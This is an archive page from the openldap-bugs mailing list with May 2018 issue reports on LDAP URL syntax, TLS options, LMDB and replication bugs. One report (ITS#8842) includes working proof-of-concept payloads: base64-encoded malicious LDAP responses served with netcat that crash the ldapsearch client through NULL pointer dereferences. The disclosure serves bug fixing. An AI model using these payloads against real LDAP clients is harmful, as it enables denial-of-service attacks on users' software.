openldap-bugs

openldap-bugs@openldap.org

1 participants
20963 discussions

Re: (ITS#8847) New LDAP URL syntax to support binding to specific IP address at client side
by ryan＠openldap.org 06 May '18

06 May '18

On Sun, May 06, 2018 at 01:50:23PM +0000, arekkusu(a)r42.ch wrote: >Adding a source IP to an URI feels wrong to it. > >I have not read RFC dealing with URI, however having a quick look [1] seems to >indicate that using the at sign in this way is non-standard. I agree. @ in URIs is already defined as separating credentials (or just username) from the host. I don't recall whether OpenLDAP supports that usage but in any case we shouldn't re-define it. I believe ITS#8654 is about the same feature? That one implemented this by copying a Microsoft option, LDAP_OPT_SOCKET_BIND_ADDRESSES. I would think that's probably a better approach. Maybe you could pick up where the author of that one left off? He disappeared after posting his patch for review... thanks Ryan

1 0

Re: (ITS#8847) New LDAP URL syntax to support binding to specific IP address at client side
by arekkusu＠r42.ch 06 May '18

06 May '18

Adding a source IP to an URI feels wrong to it. I have not read RFC dealing with URI, however having a quick look [1] seems to indicate that using the at sign in this way is non-standard. Regardless of the syntax, I don't think a Uniform Resource Identifier is the right place to add source IP information. An LDAP URI typically refer to a (usually remote) LDAP server or servers. It's all about the destination. A source IP is machine specific. I think a separate option would make more sense. Any specific reason for wanting to add it in the URI? I am not an OpenLDAP developer/contributor, this is just my opinion. [1] https://en.wikipedia.org/wiki/Uniform_Resource_Identifier On Sun, 2018-05-06 at 06:15 +0000, sudhir.singam(a)nokia.com wrote: > Full_Name: Singam Sudhir Reddy > Version: master branch > OS: fedora > URL: ftp://ftp.openldap.org/incoming/sudhirsingam-180505.patch > Submission from: (NULL) (61.1.232.154) > > > The attached file is derived from OpenLDAP Software. All of the modifications > to > OpenLDAP Software represented in the following patch(es) were developed by > NOKIA. NOKIA has not assigned rights and/or interest in this work to any > party. > I, SINGAM SUDHIR REDDY authorized by NOKIA, my employer, to release this work > under the following terms. > > NOKIA hereby place the following modifications to OpenLDAP Software (and only > these modifications) into the public domain. Hence, these modifications may be > freely used and/or redistributed for any purpose with or without attribution > and/or other notice. > > **** > > Description: > > Currently when using the openldap client and try to connect to LDAP server > using > LDAP URL, client automatically binds to an IP address returned by kernel. > > For example, in the below usage, client automatically binds to an IP address > returned by kernel. > > ldapsearch -H ldap://10.63.57.239:389 D "uid=admin, ou=administrators, > ou=topologymanagement, o=netscaperoot" -x -w admin -b "uid=baha, ou=people, > ou=accounts, ou=region-911080, ou=regions, ou=netact, dc=noklab, dc=net, > dc=localdomain" > > But if we want to route the traffic on a specific interface/IP address, > currently there is no provision. And the idea or enhancement is to introduce > such provision by giving source bind IP address in the URL in the following > format. > > ldap://TARGET-IP-ADDRESS@SOURCE-BIND-IP-ADDRESS:PORT > > For example, > > ldapsearch -H ldap://10.63.57.239@10.37.220.9:389 D "uid=admin, > ou=administrators, ou=topologymanagement, o=netscaperoot" -x -w admin -b > "uid=baha, ou=people, ou=accounts, ou=region-911080, ou=regions, ou=netact, > dc=noklab, dc=net, dc=localdomain" > > Note this feature is backward compatible, that is, it is optional to provide > source bind IP address in the URL. > > This feature also supports IPV6 addresses. > >

1 0

(ITS#8847) New LDAP URL syntax to support binding to specific IP address at client side
by sudhir.singam＠nokia.com 05 May '18

05 May '18

Full_Name: Singam Sudhir Reddy Version: master branch OS: fedora URL: ftp://ftp.openldap.org/incoming/sudhirsingam-180505.patch Submission from: (NULL) (61.1.232.154) The attached file is derived from OpenLDAP Software. All of the modifications to OpenLDAP Software represented in the following patch(es) were developed by NOKIA. NOKIA has not assigned rights and/or interest in this work to any party. I, SINGAM SUDHIR REDDY authorized by NOKIA, my employer, to release this work under the following terms. NOKIA hereby place the following modifications to OpenLDAP Software (and only these modifications) into the public domain. Hence, these modifications may be freely used and/or redistributed for any purpose with or without attribution and/or other notice. **** Description: Currently when using the openldap client and try to connect to LDAP server using LDAP URL, client automatically binds to an IP address returned by kernel. For example, in the below usage, client automatically binds to an IP address returned by kernel. ldapsearch -H ldap://10.63.57.239:389 D "uid=admin, ou=administrators, ou=topologymanagement, o=netscaperoot" -x -w admin -b "uid=baha, ou=people, ou=accounts, ou=region-911080, ou=regions, ou=netact, dc=noklab, dc=net, dc=localdomain" But if we want to route the traffic on a specific interface/IP address, currently there is no provision. And the idea or enhancement is to introduce such provision by giving source bind IP address in the URL in the following format. ldap://TARGET-IP-ADDRESS@SOURCE-BIND-IP-ADDRESS:PORT For example, ldapsearch -H ldap://10.63.57.239@10.37.220.9:389 D "uid=admin, ou=administrators, ou=topologymanagement, o=netscaperoot" -x -w admin -b "uid=baha, ou=people, ou=accounts, ou=region-911080, ou=regions, ou=netact, dc=noklab, dc=net, dc=localdomain" Note this feature is backward compatible, that is, it is optional to provide source bind IP address in the URL. This feature also supports IPV6 addresses.

1 0

(ITS#8846) Patch to introduce new LDAP option to ignore hostname checking while verifying certificates in TLS mode
by sudhir.singam＠nokia.com 05 May '18

05 May '18

Full_Name: Singam Sudhir Reddy Version: master branch OS: fedora URL: ftp://ftp.openldap.org/incoming/sudhirsingam-180506.patch Submission from: (NULL) (61.1.232.154) The attached file is derived from OpenLDAP Software. All of the modifications to OpenLDAP Software represented in the following patch(es) were developed by NOKIA. NOKIA has not assigned rights and/or interest in this work to any party. I, SINGAM SUDHIR REDDY authorized by NOKIA, my employer, to release this work under the following terms. NOKIA hereby place the following modifications to OpenLDAP Software (and only these modifications) into the public domain. Hence, these modifications may be freely used and/or redistributed for any purpose with or without attribution and/or other notice. **** Description: This is minor enhancement to introduce a new LDAP option "LDAP_OPT_X_TLS_DEMAND_EXCL_HOSTNAME_CHECK" to ignore hostname checking by client in TLS communication mode. This is very similar to "LDAP_OPT_X_TLS_DEMAND" LDAP option except that HOSTNAME checking is ignored. This option can be set by client either by using LDAP API "ldap_set_option" or can be globally set in the configuration file /etc/openldap/ldap.conf like below. TLS_REQCERT demand_excl_hostname_check Purpose: Generally operators use same set of certificates for different services (from different hosts) which support TLS communication. When such certificates are used, this option gives facility for openldap based services to ignore hostname checking at client side. ****

1 0

(ITS#8845) Cannot preserve existing controls with new extended operations
by quanah＠openldap.org 04 May '18

04 May '18

Full_Name: Quanah Gibson-Mount Version: 2.4.46 OS: Linux URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (47.208.148.239) As noted in the OpenLDAP source (http://www.openldap.org/devel/gitweb.cgi?p=openldap.git;a=blob;f=servers/sl…) there is an issue with controls being reset with a new extended operation. This is problematic for a proxy auth mechanism being developed, as it needs to have the controls preserved while passing an extended op to slapd. A possibility would be to re-register the control, adding the corresponding extended operations, but the parsing function resets them so this unfortunately is not an option.

1 0

Re: (ITS#8844) LMDB mdb_env_close is unsafe in forked child
by h.b.furuseth＠usit.uio.no 02 May '18

02 May '18

On 02/05/2018 18:05, hyc(a)openldap.org wrote: > Following on from ITS#8505. > mdb_env_close0() uses env->me_pid when clearing the readers table. If the env > was open in a process that forked, and the child process calls mdb_env_close(), > it will be clearing the wrong PID. Change this to use getpid() instead. Wait, what? The child didn't write any pids to the table. If there are pids for it to clear, something is wrong. That can be: - The pid is from an older run, and the system reused the pid. If we code for this, it should be to clear such pids during mdb_env_open. It gets very arbitrary to clear them when the user does env_close() in the child and the child happens to have the that reused pid. - The child opened a new MDB_env with the same path, and closes the parent's env afterwards. Don't Do That, users. But what to do in this situation, if we are to have code for it, is to do nothing with the lockfile. Not close it either, since closing it will lose the lock for the env which was opened in the child.

1 0

(ITS#8844) LMDB mdb_env_close is unsafe in forked child
by hyc＠openldap.org 02 May '18

02 May '18

Full_Name: Howard Chu Version: 2.4 OS: Linux URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (83.136.45.253) Submitted by: hyc Following on from ITS#8505. mdb_env_close0() uses env->me_pid when clearing the readers table. If the env was open in a process that forked, and the child process calls mdb_env_close(), it will be clearing the wrong PID. Change this to use getpid() instead.

1 0

(ITS#8843) null modlist with MMR > 2 can cause segv
by quanah＠openldap.org 02 May '18

02 May '18

Full_Name: Quanah Gibson-Mount Version: 2.4.46 OS: Linux URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (47.208.148.239) There is a race condition with MMR >2 that can cause slapd to segv, due to the op->modlist being set to NULL for a change that's already been processed. If the target entry is already newer than the mod, and we then look in the logDB to see what was changed, and the newer mod is a delete(attr) then any other changes to that attr are dropped from the modlist, which can result in the modlist being NULL

1 0

(ITS#8842) NULL pointer derefence
by openldap＠katzen.cc 01 May '18

01 May '18

Full_Name: Catz Meow Version: openldap-2.4.46 OS: Archlinux URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (134.19.121.246) 2 small issues: I'm keeping it brief, let me know if you need more information. A malicious LDAP server or mitm attacker can craft a response that causes the ldap client to crash. Nothing critical, just a simoke DoS. echo "MAwCAQFhBwoBAAQABAAwNgIBAnkxBBFkYz1leGFtcGxlLGRjPWNvbQoBAgoBAAIBAAIBAAEBAIcL b2JqZWN0Y2xhc3MwADCBiQIBAmSBgwQRZGM9ZXhhbXBsZSxkYz1jb20wbjAnBAtvYmplY3RDbGFz czEYBAhkY09iamVjdAQMb3JnYW5pemF0aW9uMA8EAmRjMQkEB2V4YW1wbGUwDgQBbzEJBAdFeGFt cGxlMCIEC2Rlc2NyaXB0aW9uMRMEEUV4YW1wbGUgZGlyZWN0b3J5MHkCAQJkdAQZY249cm9vdCxk Yz1leGFtcGxlLGRjPWNvbTBXMCMEC29iamVjdENsYXNzMRQEEm9yZ2FuaXphdGlvbmFsUm9sZTAM BAJjbjEGBARyb290MCIEC2Rlc2NyaXB0aW9uMRMEEURpcmVjdG9yeSBNYW5hZ2VyMIIBcAIBAmSC AWkEGnVpZD1hZGFtLGRjPWV4YW1wbGUsZGM9Y29tMIIBSTA6BAtvYmplY3RDbGFzczErBAN0b3AE B2FjY291bnQEDHBvc2l4QWNjb3VudAQNc2hhZG93QWNjb3VudDAMBAJjbjEGBARhZGFtMA0EA3Vp ZDEGBARhZGFtMBQECXVpZE51bWJlcjEHBAUxNjg1OTASBAlnaWROdW1iZXIxBQQDMTAwMB0EDWhv bWVEaXJlY3RvcnkxDAQKL2hvbWUvYWRhbTAZBApsb2dpblNoZWxsMQsECS9iaW4vYmFzaDAPBAVn ZWNvczEGBARhZGFtMBcEEHNoYWRvd0xhc3RDaGFuZ2UxAwQBMDAQBAlzaGFkb3dNYXgxAwQBMDAU BA1zaGFkb3dXYXJuaW5nMQMEATAwOAQMdXNlclBhc3N3b3JkMSgEJntTU0hBfXMzdWIwNnpCNVd2 UmVUZFZPOEVRelRMWVhvSFRCWGVNMAwCAQJlBwoBAAQABAA=" | base64 -d | nc -lvp 14222 ./clients/tools/.libs/ldapsearch -D cn=root,dc=example,dc=com -b dc=example,dc=com -h 127.0.0.1:14222 -x -w secret Affected code: ./clients/tools/ldapsearch.c static int dosearch( [...] case LDAP_RES_INTERMEDIATE: npartial++; ldap_parse_intermediate( ld, msg, &retoid, &retdata, NULL, 0 ); nresponses_psearch = 0; if ( strcmp( retoid, LDAP_SYNC_INFO ) == 0 ) { The problem here is that retoid can be NULL after ldap_parse_intermediate() is called. Another NULL pointer dereference caused by a bad response: echo "MAwCAQFhBwoBAAQABAAwgYkCAQJkgYMEEWRjPWV4YW1wbGUsZGM9AARtMG4wJwQLb2JqZWN0Q2xh c3MxGAQIZGNPYmplY3QEDG9yZ2FuaXphdGlvbjAPBAJkYzEJBAdleGFtcGxlMA4EAW8xCQQHRXhh bXBsZTAiBAtkZXNjcmlwdGlvbjETBBFFeGFtcGxlIGRpcmVjdG9yeTB5AgECZHQEGWNuPXJvb3Qs ZGM9ZXhhbXBsZSxkYz1jb20wVzAjBAtvYmplY3RDbGFzczEUBBJvcmdhbml6YXRpb25hbFJvbGUw DAQCY24xBgQEcm9vdDAiBAtkZXNjcmlwdGlvbjETBBFEaXJlY3RvcnkgTWFuYWdlcjCCAXACAQJk ggFpBBp1aWQ9YWRhbSxkYz1leGFtcGxlLGRjPWNvbTCCAUkwOgQLb2JqZWN0Q2xhc3MxKwQDdG9w BAdhY2NvdW50BAxwb3NpeEFjY291bnQEDXNoYWRvd0FjY291bnQwDAQCY24xBgQEYWRhbTANBAN1 aWQxBgQEYWRhbTAUBAl1aWROdW1iZXIxBwQFMTY4NTkwEgQJZ2lkTnVtYmVyMQUEAzEwMDAdBA1o b21lRGlyZWN0b3J5MQwECi9ob21lL2FkYW0wGQQKbG9naW5TaGVsbDELBAkvYmluL2Jhc2gwDwQF Z2Vjb3MxBgQEYWRhbTAXBBBzaGFkb3dMYXN0Q2hhbmdlMQMEATAwEAQJc2hhZG93TWF4MQMEATAw FAQNc2hhZG93V2FybmluZzEDBAEwMDgEDHVzZXJQYXNzd29yZDEoBCZ7U1NIQX1zM3ViMDZ6QjVX dlJlVGRWTzhFUXpUTFlYb0hUQlhlTTAMAgECZQcKAQAEAAQA" | base64 -d | nc -lvp 14222 ./clients/tools/.libs/ldapsearch -D cn=root,dc=example,dc=com -b dc=example,dc=com -h 127.0.0.1:14222 -x -w secret The PoC leads to memcpy being called with a NULL pointer as second argument (ava->la_value.bv_val) in dn2domain() (libraries/libldap/getdn.c): AC_MEMCPY( str, ava->la_value.bv_val, ava->la_value.bv_len + 1);

1 0

Re: (ITS#8616) olcSpNopresent and olcSpReloadHint can't be modified dynamically
by quanah＠symas.com 01 May '18

01 May '18

--On Tuesday, March 14, 2017 6:58 PM +0000 elecharny(a)symas.com wrote: Also fails for olcSpSessionLog (if it wasn't defined when the cn=config db was loaded) --Quanah -- Quanah Gibson-Mount Product Architect Symas Corporation Packaged, certified, and supported LDAP solutions powered by OpenLDAP: <http://www.symas.com>

1 0

Jump to page:

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs